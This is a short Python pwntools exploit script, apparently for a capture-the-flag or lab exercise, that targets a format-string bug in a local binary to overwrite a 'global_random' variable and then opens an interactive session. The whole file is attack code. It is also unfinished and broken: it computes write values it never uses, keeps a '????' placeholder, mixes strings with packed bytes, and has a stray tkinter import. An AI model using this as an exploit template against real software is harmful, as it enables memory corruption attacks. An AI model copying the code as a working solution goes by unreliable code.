#!/usr/bin/env python from tkinter import W from pwn import * p = process('./fs-arbt-write-64') gr_addr = p.elf.symbols['global_random'] print(hex(gr_addr)) # b'Please type your name first: \n' print(p.recv()) first = 0xb00c second = 0xface - 0xb00c buf = "????" + p64(gr_addr) + p64(gr_addr+2) print(buf) p.sendline(buf) print(p.recv()) p.interactive()